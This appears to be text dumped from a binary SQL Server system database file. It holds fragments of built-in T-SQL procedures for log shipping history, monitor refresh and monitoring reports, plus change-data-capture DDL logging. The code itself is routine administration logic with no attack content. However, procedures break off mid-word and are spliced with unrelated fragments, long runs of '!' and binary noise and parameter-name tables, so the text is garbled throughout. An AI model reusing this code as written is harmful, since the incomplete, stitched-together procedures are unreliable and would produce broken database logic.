              ,@jobcommand = N'"' + @toolpath + N'sqllogship.exe" -Restore ' + cast(@secondary_id as nvarchar(40)) + N' -server ' + @@servername 
    --
    -- Create a restore job for the secondary 
    --
    exec @retcode = sys.sp_MSprocesslogshippingjob @type = 3
                                ,@mode = 1 
                                ,@jobid = @restore_job_id output
                                ,@job_name = @restore_job_name
                                ,@description = @jobdescription
                                ,@command = @jobcommand
                                ,@overwrite = @overwrite
    if (@retcode != 0 or @@error != 0 or @restore_job_id is null)
        goto UNDO
    --
    -- Add an entry in the log_shipping_secondary
    --
    insert into msdb.dbo.log_shipping_secondary (
                secondary_id
                ,prima!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	)ZHKvFfcreate procedure sys.sp_MSadd_log_shipping_history_detail 
(
    @agent_id uniqueidentifier     -- primary/secondary ID
    ,@agent_type tinyint              -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@session_id int 
    ,@session_status tinyint         -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
    ,@database sysname = NULL  -- primary/secondary database
    ,@last_processed_file_name nvarchar(500) = NULL  
    ,@message nvarchar(4000) = N'No message specified'
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname
                ,@curdate datetime
                ,@curutcdate datetime
                ,@last_restored_latency int
                ,@monitor_server sysname
                ,@monitor_server_security_mode int
                ,@errlogstr nvarchar(4000)
                ,@agentjobid uniqueidentifier
                ,@fileindex int
                ,@loopindex int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_MSadd_log_shipping_history_detail')
        return 1
    end
    --
    -- validate session_status
    --
    if (@session_status not in (0,1,2,3,4))
    begin
        raiserror(21055, 16, -1, '@session_status','sp_MSadd_log_shipping_history_detail')
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- set the dates
    --
    select @curdate = getdate()
                ,@curutcdate = getutcdate()
    --
    -- get monitor server information
    --
    if (@agent_type = 0)
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
                    ,@agentjobid = backup_job_id
        from msdb.dbo.log_shipping_primary_databases
        where primary_id = @agent_id
    end
    else
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
        from msdb.dbo.log_shipping_secondary
        where secondary_id = @agent_id
    end
    --
    -- add history record for monitoring
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorhistory 
                    @mode = 1
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@database = @database
                    ,@log_time = @curdate
                    ,@log_time_utc = @curutcdate
                    ,@message = @message
    if (@retcode != 0 or @@error != 0)
        goto UNDO    
    --
    -- process @last_processed_file_name
    --
    if (@last_processed_file_name is not null)
    begin
        --
        -- process based on agent_type
        --
        if (@agent_type = 0)
        begin
            --
            -- backup agent
            /*
            -- add errorlog message for rename
            --
            select @backuplognoext = substring(@last_processed_file_name, 1, charindex(N'.trn', @last_processed_file_name) - 1)
            select @agentjobname = name 
            from msdb.dbo.sysjobs_view 
            where job_id = @agentjobid
                and category_id = 6
            if exists (select * from master.dbo.sysmessages where error = 32029)
            begin
                raiserror(32029, 10, 1, @agentjobname, @backuplognoext, @backuplognoext) with log
            end
            else
            begin
                raiserror(N'Log shipping backup agent [%s] has verified log backup file ''%s.wrk'' and renamed it as ''%s.trn''.', 10, 1, @agentjobname, @backuplognoext, @backuplognoext) with log
            end
            */
            --
            -- update primary
            --
            update msdb.dbo.log_shipping_primary_databases
            set last_backup_file = @last_processed_file_name
                ,last_backup_date = @curdate
            where primary_id = @agent_id
            if (@@error != 0)
                goto UNDO
            --
            -- update primary monitor metadata 
            --
            exec @retcode = sp_MSprocesslogshippingmonitorprimary @mode = 3
                        ,@primary_id = @agent_id
                        ,@primary_server = @@servername
                        ,@monitor_server = @monitor_server
                        ,@monitor_server_security_mode = @monitor_server_security_mode
                        ,@primary_database = @database
                        ,@last_backup_file = @last_processed_file_name
                        ,@last_backup_date = @curdate
                        ,@last_backup_date_utc = @curutcdate
            if (@retcode != 0 or @@error != 0)
                goto UNDO    
        end
        else if (@agent_type = 1)
        begin
            --
            -- copy agent
            --
            update msdb.dbo.log_shipping_secondary
            set last_copied_file = @last_processed_file_name
                ,last_copied_date = @curdate
            where secondary_id = @agent_id
            if (@@error != 0)
                goto UNDO
            --
            -- update secondary monitor metadata 
            --
            exec @retcode = sp_MSprocesslogshippingmonitorsecondary @mode = 3
                        ,@secondary_server = @@servername
                        ,@secondary_database = @database
                        ,@secondary_id = @agent_id
                        ,@monitor_server = @monitor_server
                        ,@monitor_server_security_mode = @monitor_server_security_mode
                        ,@last_copied_file = @last_processed_file_name
                        ,@last_copied_date = @curdate
                        ,@last_copied_date_utc = @curutcdate
            if (@retcode != 0 or @@error != 0)
                goto UNDO    
        end
        else
        begin
            --
            -- restore agent
            --
            update msdb.dbo.log_shipping_secondary_databases
            set last_restored_file = @last_processed_file_name
                ,last_restored_date = @curdate
            where secondary_id = @agent_id
                and (@database is null or secondary_database = @database)
            if (@@error != 0)
                goto UNDO
            --
            -- compute last_restored_latency
            -- we have to find the last '_' from @last_processed_file_name
            -- to initiate the timestamp processing
            --
            -- since @last_processed_file_name is a file path
            -- it may contain directories with '_' embedded in the path
            --
            select @fileindex = 0
            while (1=1)
            begin
                select @loopindex = charindex(N'_', substring(@last_processed_file_name, @fileindex + 1, 500))
                if (@loopindex > 0)
                    select @fileindex = @fileindex + @loopindex
                else
                    break;
            end
            --
            -- The time format in the filename should always be in the
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	=+&vY'create procedure sys.sp_refresh_log_shipping_monitor 
(
    @agent_id uniqueidentifier     -- primary/secondary ID
    ,@agent_type tinyint              -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@database sysname = NULL  -- primary/secondary database
    ,@mode tinyint                      -- 1 = refresh, 2 = delete
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname
                ,@monitor_server sysname
                ,@monitor_server_security_mode int
                ,@linkcmd nvarchar(4000)
                ,@istrustworthyset bit
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_refresh_log_shipping_monitor')
        return 1
    end
    --
    -- validate mode
    --
    if (@mode not in (1,2))
    begin
        raiserror(21055, 16, -1, '@mode','sp_refresh_log_shipping_monitor')
        return 1
    end
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- if database is supplied - validate it
    --
    if (@database is not null)
    begin
        if (@agent_type = 0) and not exists (select * 
                from msdb.dbo.log_shipping_primary_databases
                where primary_database = @database
                    and primary_id = @agent_id)
        begin
            raiserror(32010, 16, 2, @database)
            return 1
        end
        else if (@agent_type in (1,2)) and not exists (select * 
                from msdb.dbo.log_shipping_secondary_databases as sd 
                    join msdb.dbo.log_shipping_secondary as s
                    on sd.secondary_id = s.secondary_id
                where sd.secondary_database = @database
                    and s.secondary_id = @agent_id)
        begin
            raiserror(32014, 16, 3, @database)
            return 1
        end
    end
    --
    -- get monitor server information
    --
    if (@agent_type = 0)
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
        from msdb.dbo.log_shipping_primary_databases
        where primary_id = @agent_id
    end
    else
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
        from msdb.dbo.log_shipping_secondary
        where secondary_id = @agent_id
    end
    --
    -- for local monitor - no need do anything
    --
    if (upper(@monitor_server) = upper(@@servername))
        return 0
    --
    -- The monitor is not local - check for impersonation
    --
    select @retcode = 0
    if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
    begin
        --
        -- execute using proxy
        --
        exec @retcode = sys.sp_MSproxylogshippingmonitorrefresh
                    @agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@database = @database
                    ,@mode = @mode
                    ,@monitor_server = @monitor_server
    end
    else
    begin
        --
        -- cleanup metadata first
        --
        if (@agent_type = 0)
        begin
            --
            -- delete Primary monitor data
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorprimary'
            begin try
                exec @retcode = @linkcmd @mode = 2
                                        ,@primary_id = @agent_id
                                        ,@primary_server = @@servername
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @monitor_server_security_mode
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        else
        begin
            --
            -- delete Secondary monitor data
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorsecondary'
            begin try
                exec @retcode = @linkcmd @mode = 2
                    ,@secondary_server = @@servername
                    ,@secondary_database = @database
                    ,@secondary_id = @agent_id
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            goto cleanup
        --
        -- If we deleting - then we are done
        --
        if (@mode = 2)
            goto cleanup
        --
        -- refresh now 
        --
        if (@agent_type = 0)
        begin
            --
            -- refresh primary data 
            --
            select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_primary ' 
                + N'(primary_id,primary_server,primary_database,backup_threshold,threshold_alert,threshold_alert_enabled,last_backup_file,last_backup_date,last_backup_date_utc,history_retention_period) '
                + N'select primary_id,primary_server,primary_database,backup_threshold,threshold_alert,threshold_alert_enabled,last_backup_file,last_backup_date,last_backup_date_utc,history_retention_period '
                + N'from msdb.dbo.log_shipping_monitor_primary where primary_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
            begin try
                EXEC(@linkcmd)
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        else
        begin
            --
            -- refresh secondary data 
            --
            select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_secondary ' 
                + N'(secondary_server,secondary_database,secondary_id,primary_server,primary_database,restore_threshold,threshold_alert,threshold_alert_enabled'
                + N',last_copied_file,last_copied_date, last_copied_date_utc, last_restored_file,last_restored_date, last_restored_date_utc, last_restored_latency, history_retention_period) '
                + N'select secondary_server,secondary_database,secondary_id,primary_server,primary_database,restore_threshold,threshold_alert,threshold_alert_enabled'
                + N',last_copied_file,last_copied_date, last_copied_date_utc, last_restored_file,last_restored_date, last_restored_date_utc, last_restored_latency, history_retention_period '
                + N'from msdb.dbo.log_shipping_monitor_secondary where secondary_server = @@servername and '
                + N'secondary_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' ' 
                IF (@database is not null)
                BEGIN
                    SELECT @linkcmd = @linkcmd + N'and secondary_database = ''' + sys.fn_replreplacesinglequote(CAST(@database as nvarchar(128))) + ''' '
                END
            begin try!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<j	/
LcY'
                EXEC(@linkcmd)
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if @@error != 0 OR @retcode != 0
            goto cleanup        
        --
        -- refresh history 
        --
        select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_history_detail ' 
            + N'(agent_id,agent_type,session_id,database_name,session_status,log_time,log_time_utc,message) '
            + N'select agent_id,agent_type,session_id,database_name,session_status,log_time,log_time_utc,message '
            + N'from msdb.dbo.log_shipping_monitor_history_detail where agent_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
        begin try
            EXEC(@linkcmd)
        end try
        begin catch
            select @retcode = 1
        end catch
        if @@error != 0 OR @retcode != 0
            goto cleanup        
        --
        -- refresh error 
        --
        select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_error_detail ' 
            + N'(agent_id,agent_type,session_id,database_name,sequence_number,log_time,log_time_utc,message,source,help_url) '
            + N'select agent_id,agent_type,session_id,database_name,sequence_number,log_time,log_time_utc,message,source,help_url '
            + N'from msdb.dbo.log_shipping_monitor_error_detail where agent_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
        begin try
            EXEC(@linkcmd)
        end try
        begin catch
            select @retcode = 1
        end catch
    end -- no proxy execution

cleanup:

    --
    -- all done
    --
    if (@retcode = 0)
        return 0
    else
    begin
        raiserror(32055, 16, 2)
        return 1
    end
end
mm, @secondary_database, @secondary_id,
                    @primary_server, @primary_database, @restore_threshold, @is_restore_alert_enabled, 
                    @last_copied_file, @last_copied_utc, @last_restored_file, @last_restored_utc, @last_restored_latency
    end -- while cursor for hcsecondaries
    close #hcsecondaries
    deallocate #hcsecondaries
    --
    -- return resultset
    --
    select
        status 
        ,is_primary 
        ,server  
        ,database_name 
        ,time_since_last_backup 
        ,last_backup_file 
        ,backup_threshold 
        ,is_backup_alert_enabled 
        ,time_since_last_copy 
        ,last_copied_file 
        ,time_since_last_restore 
        ,last_restored_file 
        ,last_restored_latency 
        ,restore_threshold 
        ,is_restore_alert_enabled 
    from #log_shipping_monitor
    order by ts
    --
    -- all done
    --
    return 0
end
[
[urce_object_id=@target_objid and partition_switch = 0 order by create_date DESC)
			begin
				raiserror(22842, 16, -1)
				goto FAILURE
			end
		
			-- If the target is enabled for CDC, post a command for it
			if sys.fn_cdc_is_table_enabled(@target_objid) = 1 
			begin
				select @switch_cmd = N'exec sp_MScdc_logddl ' 
					+ N'  @source_object_id = ' + cast(@target_objid as nvarchar)
					+ N', @ddl_command = N''' + replace(@pass_through_scripts, N'''', N'''''') + N''''
					+ N', @ddl_lsn = @current_lsn'
					+ N', @ddl_time = N''' + replace(convert(nvarchar(1000), @ddl_datetime), N'''', N'''''') + N''''
					+ N', @commit_lsn = @commit_lsn'
					+ N', @source_column_id = ' + isnull(cast(@source_column_id as nvarchar), N'''''')
					+ N', @fis_alter_column = ' + cast(@fis_alter_column as nvarchar)
			end
		end		

		-- If the (source) object is enabled for CDC, post a command for it
		if sys.fn_cdc_is_table_enabled(@objid) = 1 
		begin
			select @cmd = N'exec sp_MScdc_logddl ' 
				+ N'  @source_object_id = ' + cast(@objid as nvarchar)
				+ N', @ddl_command = N''' + replace(@pass_through_scripts, N'''', N'''''') + N''''
				+ N', @ddl_lsn = @current_lsn'
				+ N', @ddl_time = N''' + replace(convert(nvarchar(1000), @ddl_datetime), N'''', N'''''') + N''''
				+ N', @commit_lsn = @commit_lsn'
				+ N', @source_column_id = ' + isnull(cast(@source_column_id as nvarchar), N'''''')
				+ N', @fis_alter_column = ' + cast(@fis_alter_column as nvarchar)
		end
	end
	else if (@event_type = N'DROP_TABLE')
	begin					 
		select @cmd = N'exec sp_MScdc_logddl ' 
						+ N'  @source_object_id = null' 
						+ N', @ddl_command = N''' + replace(@pass_through_scripts, N'''', N'''''') + N''''
						+ N', @ddl_lsn = @current_lsn'
						+ N', @ddl_time = N''' + replace(convert(nvarchar(1000), @ddl_datetime), N'''', N'''''') + N''''
						+ N', @commit_lsn = @commit_lsn'
						+ N', @fis_drop_table = 1'
	end
						
	--post the command to log as artid 0 so logscan can pick it up and add to cdc.ddl_history table
	--sys.sp_replpostcmd @partial, @pubid, @artid, @cmd_type, @command
	--cmd_type 11 means DDL, logreader will look for LOP_REPL_COMMAND with artid 0,
	--pubid 1 and cmd_type 11 to populate cdc.ddl_history
	set @cmd_length = datalength(@cmd)
	
	if (@cmd_length > 0)
	begin
		-- We are ready to act on a DDL command of interest.  We now need to make
		-- sure that the caller was either sysadmin, db_owner, or db_ddladmin.  
		if (@ddl_authorized = 0)
		begin
			raiserror(22914, 16, -1)
			goto	FAILURE
		end

		-- Post command to act on the DDL event	
		exec @retcode = sys.sp_replpostcmd 0, @cmd_length, 0, 11, @cmd
		if @retcode <>0 or @@ERROR<>0
			goto	FAILURE
	end		

	if @switch_cmd is not null
	begin
		set @cmd_length = datalength(@switch_cmd)
	
		if (@cmd_length > 0)
		begin	

			-- This should already have been checked earlier, but check again just to be sure
			if (@ddl_authorized = 0)
			begin
				raiserror(22914, 16, -1)
				goto	FAILURE
			end

			-- Post the statement to the log for the target object id
			exec @retcode = sys.sp_replpostcmd 0, @cmd_length, 0, 11, @switch_cmd
			if @retcode <>0 or @@ERROR<>0
				goto	FAILURE
		end
	end

	return 0
FAILURE:
    rollback tran
	
    return 1
end
8?8into ' + @quoted_change_table + N' ('  + @column_list_batch + N')
	   select top(@rowcount) ' + @column_list_select + N'
	   from (
	             select 1 ' + @rownum + N',' + @column_list_withrow1
	             
	set @ministmt  = 
	N'
	             union all
	             select XXX, ' + @column_parameter_list_batch

	set @currow = 2;
       while @currow <= @maxrowcount
	begin
		set @stmt = @stmt + REPLACE(@ministmt, N'XXX', convert(nvarchar(3), @currow))
		set @currow = @currow + 1 
	end	                            

	set @stmt = @stmt +
	N'
	           ) rowcollection
	    where ' + @rownum + N' <= @rowcount
	end'

	exec (@stmt)

	if (@@error != 0)
	begin
		return 1
	end

    exec sp_MS_marksystemobject @batchinsert_proc
	if (@@error != 0)
	begin
		return 1
	end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+8`<(	+чvmcreate procedure sys.sp_help_log_shipping_monitor 
(
    @verbose bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier
                ,@primary_server sysname
                ,@primary_database sysname
                ,@time_since_last_backup int
                ,@last_backup_utc datetime
                ,@last_backup_file nvarchar(500)
                ,@backup_threshold int
                ,@is_backup_alert_enabled bit
                
                ,@secondary_id uniqueidentifier
                ,@secondary_server sysname
                ,@secondary_database sysname
                ,@restore_threshold int
                ,@is_restore_alert_enabled bit
                ,@last_copied_file nvarchar(500)
                ,@last_copied_utc datetime
                ,@time_since_last_copy int
                ,@last_restored_file nvarchar(500)
                ,@last_restored_utc datetime
                ,@time_since_last_restore int
                ,@last_restored_latency int

                ,@prev_primary_server sysname
                ,@prev_primary_database sysname
                
                ,@monitor_server sysname
                ,@monitor_server_security_mode int
                ,@is_monitor_local bit
                ,@curutcdate datetime
                ,@linkcmd nvarchar(4000)

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- create the resultset table
    --
    create table #log_shipping_monitor
    (
        status bit null
        ,is_primary bit not null default 0
        ,server sysname 
        ,database_name sysname
        ,time_since_last_backup int null
        ,last_backup_file nvarchar(500) null
        ,backup_threshold int null
        ,is_backup_alert_enabled bit null
        ,time_since_last_copy int null
        ,last_copied_file nvarchar(500) null
        ,time_since_last_restore int null
        ,last_restored_file nvarchar(500) null
        ,last_restored_latency int null
        ,restore_threshold int null
        ,is_restore_alert_enabled bit null
        ,ts timestamp not null
        ,primary key (is_primary, server, database_name)
        ,unique (ts)
    )
    if (@@error != 0)
        return 1
    --
    -- create other tables we will use
    --
    create table #secondary_monitor
    (
        secondary_server sysname not null,
        secondary_database sysname not null,
        secondary_id uniqueidentifier not null,
        primary_server sysname not null,
        primary_database sysname not null,
        restore_threshold int not null, 
        threshold_alert int not null, 
        threshold_alert_enabled bit not null, 
        last_copied_file nvarchar(500) null, 
        last_copied_date datetime null, 
        last_copied_date_utc datetime null, 
        last_restored_file nvarchar(500) null, 
        last_restored_date datetime null, 
        last_restored_date_utc datetime null, 
        last_restored_latency int null, 
        history_retention_period int not null, 
        primary key (secondary_id, secondary_database)
    )
    if (@@error != 0)
        return 1
    create table #primary_monitor 
    (
        primary_id uniqueidentifier primary key not null,
        primary_server sysname not null,
        primary_database sysname not null,
        backup_threshold int not null,  
        threshold_alert int not null, 
        threshold_alert_enabled bit not null, 
        last_backup_file nvarchar(500) null, 
        last_backup_date datetime null, 
        last_backup_date_utc datetime null, 
        history_retention_period int not null,
        unique (primary_server, primary_database)
    )
    if (@@error != 0)
        return 1
    --
    -- get current time
    --
    select @curutcdate = getutcdate()
    --
    -- Enumerate the primary entries
    --
    declare #hcprimaries cursor local fast_forward for
        select 
            primary_id
            ,primary_server 
            ,primary_database 
            ,backup_threshold 
            ,threshold_alert_enabled
            ,last_backup_file
            ,last_backup_date_utc
        from msdb.dbo.log_shipping_monitor_primary with (nolock)
        order by primary_server, primary_database
        
    open #hcprimaries
    fetch #hcprimaries into @primary_id, @primary_server, @primary_database, @backup_threshold, @is_backup_alert_enabled, @last_backup_file, @last_backup_utc
    while (@@fetch_status != -1)
    begin
        --
        -- we have a primary entry
        --
        select @time_since_last_backup = datediff(minute, @last_backup_utc, @curutcdate)
        insert into #log_shipping_monitor (
            status
            ,is_primary
            ,server
            ,database_name
            ,time_since_last_backup
            ,last_backup_file
            ,backup_threshold
            ,is_backup_alert_enabled)
        values (
            case when ( @time_since_last_backup > @backup_threshold) then 1 else 0 end
            ,1
            ,@primary_server
            ,@primary_database
            ,@time_since_last_backup
            ,@last_backup_file
            ,@backup_threshold
            ,@is_backup_alert_enabled)
        --
        -- process secondaries
        --
        if (upper(@primary_server) = upper(@@servername))
        begin
            --
            -- we are on primary server
            -- get monitor server information
            --
            select @monitor_server = monitor_server
                        ,@monitor_server_security_mode = monitor_server_security_mode
            from msdb.dbo.log_shipping_primary_databases
            where primary_id = @primary_id
            select @is_monitor_local = case when (upper(@monitor_server) = upper(@@servername)) then 1 else 0 end
            --
            -- enumerate the secondaries listed on primary
            --
            declare #hcprimarysecondaries cursor local fast_forward for
                select secondary_server, secondary_database
                from msdb.dbo.log_shipping_primary_secondaries with (nolock)
                where primary_id = @primary_id

            open #hcprimarysecondaries
            fetch #hcprimarysecondaries into @secondary_server, @secondary_database
            while (@@fetch_status != -1)
            begin
                --
                -- add this primary secondary to result set
                --
                insert into #log_shipping_monitor (is_primary ,server, database_name)
                    values (0, @secondary_server, @secondary_database)
                select @secondary_id = NULL
                --
                -- Enumerate this secondary from msdb.dbo.log_shipping_monitor_secondary
                --
                if (@is_monitor_local = 1)
                begin
                    --
                    -- local monitor
                    --
                    select  
                        @secondary_id = secondary_id
                        ,@restore_threshold = restore_threshold
                        ,@is_restore_alert_enabled = threshold_alert_enabled
                        ,@last_copied_file = last_copied_file
                        ,@last_copied_utc = last_copied_date_utc
                        ,@last_restored_file = last_restored_file
                        ,@last_restored_utc = last_restored_date_utc
                        ,@last_restored_latency = last_restored_latency
                    from msdb.dbo.log_shipping_monitor_secondary
                    where primary_server = upp!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`F-t7)CO	LwTF>0-n88
G@newvalue0-M@srvrolename0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-G@property0-A@value0-88
A@artid0-C@server0-#E@optname0-Q@show_topology0-44Kdatabase_id0-Growset_id0-88
waggregated_record_length_in_bytes0-uv88
Ctraceid0-uv88
Eproperty0-uvbbPP?value0-uv88
C@handle0-A@login0-hhE@isvalid0-I@publisher0-\I@publisher0-\O@publisher_db0-\M@publication0-\_@dynamic_filter_login0-\e@dynamic_filter_hostname0-\i@dynamic_snapshot_location0-\88
O@partition_id0-p"E@objname0-p"K@columnname0-Fm8?@name0-Fm8==?@time0-lOC@dbname0-lO
?@type0-lOhh[@ignore_distributor0-lOhhM@from_backup0-W88
Gfdhost_id0-WKfdhost_name0-W88
Wfdhost_process_id0-WKfdhost_type0-W88
Imax_thread0-W88
Kbatch_count0-/nMpartition_id-_hh-0-E@pubname0-E@artname0-$$A@pubid0-$$A@artid0--+B$$A@pubid0-jM@publication0-jhhU@dynamic_filters0-jhhW@dont_raise_error88
K@request_id0-v|==M@cutoff_date0-EI@publisher0-EO@publisher_db0-EM@publication0-E88
W@publication_type0-`nCaddress0-`n4=name0-`n88
Spending_buffers0-`n88
_total_regular_buffers0-`n[regular_buffer_size0-`n88
[total_large_buffers0-`nWlarge_buffer_size0-`nWtotal_buffer_size0-`n	88
[buffer_policy_flags0-`n
4Ybuffer_policy_desc0-`n88
?flags0-`n4Gflag_desc0-`n
88
[dropped_event_count0-`n88
]dropped_buffer_count0-`n88
cblocked_event_fire_time0-`n==Kcreate_time0-`n88
ilargest_event_dropped_size-_hh-0-E@pubname0-E@artname0-$$A@pubid0-$$A@artid0--+B$$A@pubid0-W%M@publication0-W%K@subscriber0-W%Q@subscriber_db0-W%Y@subscription_type0-W%U@subscriber_type0-W%;;a@subscription_priority0-W%I@sync_type0-W%88
S@frequency_type0-W%	88
[@frequency_interval0-W%
88
m@frequency_relative_interval0-W%88
m@frequency_recurrence_factor0-W%88
W@frequency_subday0-W%
88
i@frequency_subday_interval0-W%88
g@active_start_time_of_day0-W%88
c@active_end_time_of_day0-W%88
Y@active_start_date0-jM@publicationb	WJ[t%DgrZ
V
{$E

h
)
		Z	
	=Bk*c b>u$=N	
`
-)d	.&]0-88
W@backup_threshold0-	88
U@threshold_alert0-
hhe@threshold_alert_enabled0-88
g@history_retention_period0-hh]@ignoreremotemonitor0-
00[@backup_compression!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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@indent0-4[@primary_key_bitmap0-"M@publication0-"hhc@activate_articles_only0-"I@publisher0-"S@publisher_type0-
$@4@=name0-
$Opromise_total0-
$>>5Kpromise_avg0-
$Epromised0-
$Ubuilt_substitute0-
$Gsucceeded0-xk*88
A@tabid-6hh0-688
A@colid0-	V>I@ownername0-	V>I@tablename-KSB88
0-KSB44O@publisher_id0-KSBO@publisher_db0-KSBM@publication0-KSB88
S@publication_id0-xOM@publication0-xOE@article0-xOK@subscriber0-xOS@destination_db0-xO88
A@found0-xOI@publisher0-xOS@publisher_type0-N]$$A@pubid0-N]$$A@artid0-e$$A@subid0->p88
G@agent_id0-;sI@publisher0-;sO@publisher_db0-;sM@publication0-;sK@subscriber0-;sQ@subscriber_db0-mz88
A@pubid0-mz88
